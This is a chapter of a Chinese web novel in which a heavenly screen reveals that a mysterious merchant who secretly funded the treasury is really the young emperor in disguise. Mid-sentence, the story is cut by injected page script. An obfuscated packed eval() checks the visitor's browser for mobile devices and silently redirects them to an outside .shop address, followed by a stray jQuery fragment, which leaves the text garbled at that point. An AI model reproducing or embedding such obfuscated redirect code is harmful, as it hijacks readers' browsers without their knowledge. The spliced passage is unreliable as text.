文趣网 > 其他小说 > 天幕快闭嘴吧,朕的马甲要被扒光了! > 7. 被扒马的第七天
    天幕上浮现出一片苍茫的北境雪原。

    雪原上,一支商队正在艰难地跋涉,领头的男人身披玄色大氅,面容隐在风帽的阴影里,只露出一截线条锋利的下颌。

    【如果说崔瑅是孝宗朝最神秘的大脑,那这位,就是孝宗朝最神秘的钱袋子。】

    【他没有功名,不入仕途,从未在朝堂上露过面。但孝宗朝但凡花过大钱的地方,都有他的手笔。】

    【北境缺饷,他三个月之内调来二十万石粮草。黄河决堤,他自掏腰包垫了修堤的第一批石料。博陵旱灾,他直接把自家商队的仓库全打开了。】

    【正史里对其仅有一句记载:“帝遣使劳之,问所欲,对曰:‘愿国泰民安。’”】

    【翻译过来就是:皇帝派人去感谢他,问他想要什么赏赐,他说:啥也不要,唯愿国泰民安。】

    天幕念到“愿国泰民安”的时候,难得没有再插科打诨,语气里头竟然带上了几分真切的敬意。

    满朝文武里头,好些人的眼眶都微微红了。

    这话说的,委实让人心里熨帖。大梁人,谁心里不盼着国泰民安呢?

    平日里嘴上不说,可这四个字就刻在骨子里。

    每逢年节烧香拜佛,求的不是升官发财,不是金玉满堂,跪在蒲团上头默念来默念去,翻来覆去也就是“风调雨顺、天下太平”这八个字。

    【但各位要是看这些就以为沈渡就是个散财童子,那可就想岔了。】

    【这位爷掏钱的时候比谁都大方,可赚钱的时候也比谁都精明。】

    【他是大梁第一个把商队从江南一路开到西域的人,第一个在边境搞榷场互市的人,第一个把海运和内河漕运打通的人。】

    【他的商业版图,比大梁的疆域还大。】

    【有史学家算过一笔账——孝宗朝最缺钱的那几年,沈渡一个人提供的银两和粮草,抵得上大梁三年的财政收入。】

    【三年!一个人!诸位想想啊,这是什么实力?放在咱们现在,那X布斯富豪排行榜上指定是能进前十的!】

    满朝文武里头,户部的几个官员头埋得最低,几乎要把脸藏进笏板后头去。

    这事儿他们比谁都清楚。

    那会儿肃宗皇帝才刚驾崩没多久,留给新朝的底子薄得跟一张纸似的。

    账面上穷到什么地步?穷到兵部的军饷拖欠了小半年,穷到工部修堤的石料钱都拿不出来,穷到户部尚书愁得一夜白头,第二天上朝时连官帽都戴歪了。

    可那会儿正是大梁天灾最频、边患最烈、也是最需要用钱的时候。

    朝中那会儿是真上下一心。

    晋王带头捐了俸,誉王把王府的用度一减再减,连宫里头的膳食都缩了又缩。

    什么法子都用过了,可窟窿太大,填来填去还是不够。

    就在户部上下差点要集体上书请求预征三年赋税的时候,忽然收到了一笔匿名捐款。

    没有名帖,没有条件,甚至连一句多余的话都没有,只有一箱一箱的真金白银,安安静静地码在户部库房的门口。

    库房的主事当时以为自己在做梦,狠狠掐了一把大腿才敢上报。

    这笔银子解了当年的燃眉之急。

    户部上下都以为这是哪位大善人一时兴起的手笔,有了这一次就不会有下一次了。

    可谁也没想到,这样的捐款一口气持续了三年。

    每到国库快要见底的时候,银子就准时到了。就像是有人提前算好了他们的账本,知道他们什么时候缺钱、缺多少钱、缺的是什么钱。

    直到大梁的国库稍微丰盈了些,能勉强喘上一口气了,这笔匿名的银子才逐渐停了。

    可也不是完全停,这些年,但凡国库稍微有些不够,账面上刚显出捉襟见肘的苗头,就总会接到一笔匿名捐款,不多不少,刚好填上那个窟窿。

    户部上下一直在猜测这人是谁,私下里还给他取了不少诨号,有叫“及时雨”的,有叫“财神爷”的,还有人猜是先帝在天之灵显了灵。

    猜来猜去,谁也没能猜出个准数来。

    没想到,竟是让天幕在今个儿把谜底给揭了。

    那几个户部官员悄悄抬起头,朝天幕上那幅玄氅商人的画像望去,眼里头全是感激。

    【那问题来了。】

    天幕的声音骤然拔高,把满殿的唏嘘声压了下去、

    【这么大一笔钱,这么大一个人,孝宗皇帝知不知道?三位摄政王知不知道?】

    【先说三位摄政王。他们当然知道沈渡的。】

    【沈老板的名号在京城商圈里头那是响当当的,晋王见过他,怀王跟他做过生意,誉王手里至少有三份关于他的调查报告。】

    【可问题是,他们知道的沈渡,跟咱说的沈渡,那是同一个人吗?】

    满朝文武:“?”

    虽说天底下同名同姓的人确实不少,可这是沈渡沈先生啊,大梁的“活财神”。是他们私下聊起连名字前的修饰词都不敢随便乱加的人。

    天幕现在说誉王殿下搞错了人——

    这不是开玩笑吗?搞错谁也不可能搞错他啊!

    【誉王殿下的调查报告上头怎么写的来着?“沈渡,扬州盐商,家资颇丰,然商贾习气甚重,好利而不好名。”】

    【翻译过来就是:这人有钱,但就是个普通商人,满身铜臭,没什么大志向。】

    天幕话音一落,满朝文武的目光都往誉王身上瞟。

    这可不是什么好词,誉王殿下究竟是怎么敢往沈先生身上套的?

    誉王面无表情地站在最前排。

    天幕念的那几句评语,确实是他写的。一字不差。

    而且,这也是他亲眼见的沈先生。

    有人匿名往户部捐银子的事,他很早就知道了。

    户部尚书不敢瞒他,头一回收到无名捐款的时候就把这件事报了上来,连带着库房主事记下的银两数目和入库日期,事无巨细,一并呈到了他的案头。

    他当时看完,面上不动声色,心里却翻了好几个浪头——什么人能在户部最缺钱的时候恰好送来一笔钱,数目还分毫不差地填上了账面缺口?

    他私底下查过,动用了不少暗线,顺着银子的来路摸了好几层,回回都在关键节点断了线。

    那个人就像是知道有人在追查他,每一步都提前算好,每一道痕迹都擦得干干净净。

    后来,他听说京城来了个扬州盐商,姓沈名渡,出手阔绰,商路极广。他想着,有没有可能捐款的就是这个人?于是便去见了。

    而这一见,实在是让他大失所望。

    人是个漂亮的青年,身形高大,眉眼锋利,坐在茶桌对面的时候脊背挺得笔直,一抬眼看过来,眼神清凉得像一汪深潭。

    可那目光里头没有半分家国大义,清凌凌的水面底下只映着一个

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17696650|207993||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    字——利。张口闭口就是利益得失,三句话不离生意经。

    从边境榷场的税率到江南漕运的损耗,桩桩件件都算得门清,唯独在说到捐款的时候,那张漂亮的脸上浮起一个恰到好处的殷勤笑容,说“王爷说笑了,在下不过是个做小本生意的,哪有那个余力”。

    铜臭气太重,重到他把那句“愿国泰民安”往这人身上套了一下,都觉得是一种侮辱。

    他在他沈渡身上全然找不到一丝为国为民的动机,这才写下了那样的评价。

    一个精致利己的商人,仅此而已。

    陈彦鲤坐在御座上,默默点头。

    是了是了,就是这个评价,要的就是这个评价。

    也只有这个评价,才不枉他那天在誉王兄面前费尽心机演了那么一场戏。

    陈彦鲤再想起那次见面,差点就要当场哭出来了。

    要说三位摄政王兄里头谁最不好对付,那一定是誉王兄。

    这人跟晋王不一样,晋王发脾气是明火执仗,来得快去得也快。跟怀王也不一样,怀王看着凶,其实心思最直。

    唯独誉王,永远是一副温温和和的模样,脸上挂着笑,说话不紧不慢,可那双眼睛像是能看透人心。

    每次和他对视,陈彦鲤都打心眼儿里犯怵,总觉得自己的五脏六腑在誉王面前跟透明似的,藏不住半点秘密。

    那次见面他本来是不想答应的。一个商人被摄政王点名约见,躲都来不及。

    他在寝殿里转了好几圈,对着铜镜把沈渡的脸戴上又摘下、摘下又戴上,最后是被系统一句“你现在是商人,不去反而更可疑”给逼出门的。

    誉王兄也对得起他的担心,见了面也不寒暄,茶还没上就抛出第一个问题,语气温温柔柔的,问的却是他在扬州经商的底细。

    他被问的汗流浃背,指甲都差点把桌布抠出个洞来。实在没办法了,只好顺着沈渡这个商人的身份往下演——谈利益,谈回报,谈“在商言商”,愣是把自己演成了一个市侩到骨子里的精明商人。

    没想到还真让他装成了。

    陈彦鲤看着天幕上那个“好利而不好名”的评价,嘴角不自觉地翘了起来。

    能把誉王骗过去的人,全大梁也没几个吧?

    系统幽幽开口:[宿主,你披着沈渡的马甲,在你王兄面前演精致利己的时候,想过今天会被天幕曝光吗?]

    陈彦鲤:“……”

    那他还真没想过。他哪能想到天底下还有这种连系统都预判不到的BUG?

    天幕这种东西,根本就是超纲题啊!

    【您说说,一个被誉王盖章认证“好利不好名”的商人,转头就把全部身家往国库里塞,塞完连个爵位都不要,只说了句“愿国泰民安”——】

    【这合理吗?这不合理。】

    【既然不合理,那就只能找解释了。】

    天幕顿了顿,语气忽然变得幽深了起来。

    【要么,誉王殿下的情报出了大错。】

    【要么,那个在商场上翻云覆雨的沈渡,和那个在户部档案里只有一句记载的沈渡,压根儿就不是一个人。】

    【真正的沈渡,从一开始就不是为了钱。他是带着目的来的。什么目的呢?】

    天幕顿了顿,像是在给全城百姓留足屏住呼吸的时间,然后轻描淡写地丢出了一个重磅炸弹——

    【帮某个人,给大梁续命。】